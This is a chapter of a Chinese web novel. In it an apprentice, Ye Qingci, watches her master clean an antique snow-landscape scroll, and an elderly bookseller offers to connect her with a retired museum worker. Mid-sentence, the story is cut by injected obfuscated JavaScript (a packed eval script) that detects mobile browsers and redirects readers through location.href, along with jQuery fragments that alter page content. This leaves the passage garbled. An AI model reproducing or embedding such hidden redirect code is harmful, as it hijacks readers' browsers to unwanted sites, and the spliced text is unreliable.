屋子角落，那个很少使用的铁炉子竟然生起了火，烧得正旺，橘红的火光静静跃动，驱散了寒意。
炉子不远处的地上，还特意放了一个敞口的陶盆，里面盛着清水，氤氲着细微的水汽。
叶轻辞隐约猜到，这是为了在取暖的同时，维持室内空气的湿度，避免过于干燥对纸质书册造成伤害。
秦师父已经在了。
他今天没在惯常的大工作台前，而是在屋子另一头一张更细长、更光洁的条案旁。
条案上，铺陈着一幅已然展开的画轴。
叶轻辞放轻脚步走过去，目光立刻被那幅画吸引住了。
这是一幅雪景山水。
画面以淡墨和极简的赭石、花青渲染出冬日的萧瑟与清冷。
远山覆雪，寒林寂寥。
近处溪流凝冻，茅屋半掩，唯有画面中央一株古松，枝干遒劲，覆着厚厚的白雪，却依然透出一股不屈的生机。
画心是年代久远的绢本，颜色沉静，保存得竟相当完好，只有边缘处有些许自然的磨损和微黄。
更重要的，这是一幅完整的、装裱精美的卷轴画。
不同于叶轻辞之前接触的那些残破画心或散页，这是真正传统意义上标准大尺幅卷轴画。
天地杆、惊燕、隔水、画心、题跋一应俱全，散发着一种庄重而雅致的气息。
“愣着干什么？过来。”
秦师父的声音响起，他正用一把特制的软毛刷，极其轻柔地拂拭着卷轴的天头部分，动作小心。
“师父，这是……？”
叶轻辞走近，目光仍在画上流连。
雪花在窗外絮絮，雪景在画中永缔，这种奇妙的呼应让她心头微动。
“一位老友送来保养的……快入冬了，天气干燥寒冷，书画也怕。”秦师父言简意赅，“保存得好，才送过来。今儿让你在旁边看着，学着点这时候该注意什么。”
他顿了顿，瞥了一眼窗外纷飞的雪，又看看画中的雪，语气依旧平淡，却多了几分讲解的耐心：“养护之道，注意事项颇多，更在平时，更在细节。天时、地利、室内的温湿、光照，甚至展开卷起的手法力道，都有讲究……学再多书，记再多条，都不及亲手感受一回。”
叶轻辞立刻明白了师父的用意。
这是在传授比技艺更难以捉摸的感觉。
她屏息凝神，站在一个既能看清师父动作、又绝不会妨碍到他的位置，仔细观察。
只见秦师父先检查了画轴各处，确认没有开裂、霉斑或虫蛀。
然后，他并不急于处理画心，而是先调整了炉火的远近，又看了看水盆的蒸发情况，确保室内处在一个稳定而适宜的环境。
接着，他将画轴再次缓缓卷起一部分，只露出需要清洁的天头区域。
清洁用的不是水，而是特制的、经过炒制晾晒的陈年小米。
他将小米均匀地撒在天头绫绢上，然后用掌心隔着极薄的宣纸，极其轻柔地、以画圆的方式慢慢碾磨。
“这叫小米温推法，我师父、你师祖传下来的笨功夫。”秦师父手下动作未停，声音低沉平稳，“小米要选陈年的，火气尽褪，性子温平；炒制擂碾，去尽水汽，酥而不油，才能吸尘不黏。”
“……掌心隔纸，力道全在腕子的一股活劲上，轻了无用，重了伤绢。”秦师父低声道，“磨不掉污垢，却能清走浮尘。”
清洁完天头，他又以同样的方法，分段清洁画心外的隔水部分。
对于画心本身，他更加谨慎，只用最柔软的排刷，顺着绢丝的纹理，轻轻拂扫，生怕过重的力道惊扰了承载着百年墨色的雪景。
整个过程中，室内安静得只剩炉火的噼啪声和小米滚动的细微沙沙声。
光线从窗外透入，被雪映得格外明亮柔和。
那些淡墨与留白处的雪意，仿佛真的在微微发光，寒冷而静谧。
叶轻辞静静看着。
她第一次如此直观地体会到，所谓文物养护，需要调动的不只是手眼，更是全部感官的敬畏与专注。
时间在寂静中流淌。
当秦师父终于完成所有清洁步骤，将画轴缓缓卷回原状，用专用的画绳系好时，窗外的雪似乎下得小了些。
“今天就到这儿。”秦师父将画轴放入特制的樟木画盒中，盖上盒盖，“……天寒地冻时，宁可少动，不可妄动。非要动，就要把功夫做足，把环境控稳。”
“是，师父。”叶轻辞郑重应下。
屋内，炉火持续散发着暖意，水盆里蒸腾出细微的水汽。
窗外，雪落无声。
*
这天放学，雪停了，但天色依旧阴沉，寒风刺骨。
叶轻辞照例和林雪怡结伴走过刘大爷往常摆摊的街角，却意外地发现，那个熟悉的小人书摊不见了。
木板搭的简陋摊位收了起来，只剩下地面一点清扫过的痕迹，和旁边修鞋老头孤零零的身影。
两人正疑惑，却见刘大爷从不远处一家临街的、带窄窄屋檐的小铺里探出身，手里还拿着块抹布在擦门框。
他看见叶轻辞，眼睛一亮，招呼道：“哟，小叶丫头，过来过来！”
叶轻辞和林雪怡走过去。
刘大爷身上那件旧军装外面套了件半新的棉坎肩，气色看着比往日红润些。
“刘爷爷，您之后猫冬……不出摊了？”林雪怡看着空荡荡的街角，好奇地问。
“往后，不在这儿摆啦。”刘大爷乐呵呵地，指了指身后的窄铺，“这店隔断后，边上这块屋檐下地方还行。我跟房东商量好了，以后就在这儿排两列薄书架、支个小桌子摆书。虽说地方小点，但好歹有个遮风挡雨的顶，冬天不挨冻，夏天不晒太阳。”
叶轻辞看了看那方寸之地，笑道：“天冷了，是该找个暖和点的地方待。”
“可不是嘛。”刘大爷搓了搓手，脸上笑意更深，压低了些声音，对叶轻辞道，“说起来，还是托叶丫头你的福……就你修好的那套书，嘿，品相好了不是一星半点。前阵子有个专门收旧书的老主顾瞧见，直接定下了。我想着，这套书跟了我大半辈子，如今焕然一新，也算全了它的体面。咬咬牙，就转手了。”
他顿了顿，声音里带着感慨，也有一丝如释重负的轻松：“价钱……还不错。这不，租了这块屋檐角，一口气付了两年的钱，手头还宽松点。”
林雪怡听了这句，也为刘大爷高兴，连忙说：“那恭喜您啦刘爷爷……今天我们来租书，是不是也便宜点？”
“便宜，当然便宜。”刘大爷大手一挥，“今儿搬新地方，图个喜庆，租书一律五折，丫头你随便挑！”
林雪怡欢呼一声，立刻钻进杂货铺里，去翻看那些被刘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110893|194440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大爷暂时放在里面箱子上的书。
刘大爷这才转向叶轻辞，脸上的笑容敛了敛，多了几分郑重。
他从怀里摸索了一下，掏出一张折叠得整整齐齐的纸片，递了过来：“丫头，你看看，这是不是你的东西？”
叶轻辞接过，展开。
那是一张裁切得不太规则的宣纸边角料，上面用工整细致的小楷，抄录着《红楼梦》开篇的那句著名题记：
“满纸荒唐言，一把辛酸泪。都云作者痴，谁解其中味？”
字迹清秀端正，笔锋间已然有了些规矩，正是她当初修复下册时，心有所感，随手在废弃的练习纸上抄录的。
后来不知夹在了哪里，竟没在意。
“是。”叶轻辞有点不好意思，“随手乱写的，怎么在您这儿？”
刘大爷没立刻回答。
他又仔细看了看上面的字，手指摩挲着纸张边缘，沉默了片刻：“字不像你这个年纪丫头能写出来的静气。”他抬眼，目光落在叶轻辞沉静的脸上，“修书的手艺，是跟秦师傅学的，字也是他教的？”
“嗯，师父让练的。”叶轻辞如实道。
秦师父确实要求严格，从描红到临帖，一丝不苟。
刘大爷点点头。
他左右看了看，将声音压得更低，只有叶轻辞能听清：“小叶，你最近……手头活儿忙不忙？我是说，除了正常学练，还得闲不？”
叶轻辞心里微微一跳，面上却不显，只道：“还行，师父布置的功课做完，还有些自己的时间。”
刘大爷吸了口气，语气变得更加慎重：“我认识位老先生，姓顾。以前……是在市博物馆里做事的，退下来好些年了。”
“你那手修书的本事，还有这笔字……我估摸着，顾老应该能瞧得上眼。他家里收着些旧东西，年头长了，总有点小毛病，扔了舍不得，自己又不会弄。以前也找过外面的人，不是手艺糙，就是要价黑。你要是得闲，又不怕麻烦，我倒是可以帮着递个话。要是活儿合适，也能挣点外快，贴补纸笔。”
他话说得直白，眼神却坦荡。
老人家知道有钱的好，吃过没钱的苦，也不耻于谈钱。
过去求而不得的机会，清晰地摆在了叶轻辞面前。
这是经历过生活打磨的老人，最实在的善意和提携。
她强压住骤然加快的心跳，尽量让自己的声音听起来平稳：“顾老先生他对修的东西，有什么偏好？”
刘大爷见她没一口回绝，眼里掠过一丝赞许，想了想道：“顾老偏好文雅些的东西，古籍、信札、文人字画这类……人也讲究，重眼缘。”
他从怀里摸出半包皱巴巴的烟，叼了一根在嘴里，却没点，只是咂摸了一下味道，最后道：“这么着，我这两天得空，先去顾老那儿探探口风……看他有没有什么小件的玩意儿，愿意拿出来试试。有了准信，我再告诉你。成不成两说，你也别有压力。”
叶轻辞知道，这已经是刘大爷能做的极限了。
牵线搭桥，点到为止。
剩下的，要看顾老的态度。
“谢谢刘爷爷。”叶轻辞郑重地道谢。
“客气啥。”刘大爷摆摆手，脸上又恢复了乐呵呵的模样，朝着铺里喊，“雪怡丫头，挑好了没？挑好了赶紧的，爷爷给你算便宜。”
“……诶，马上好！”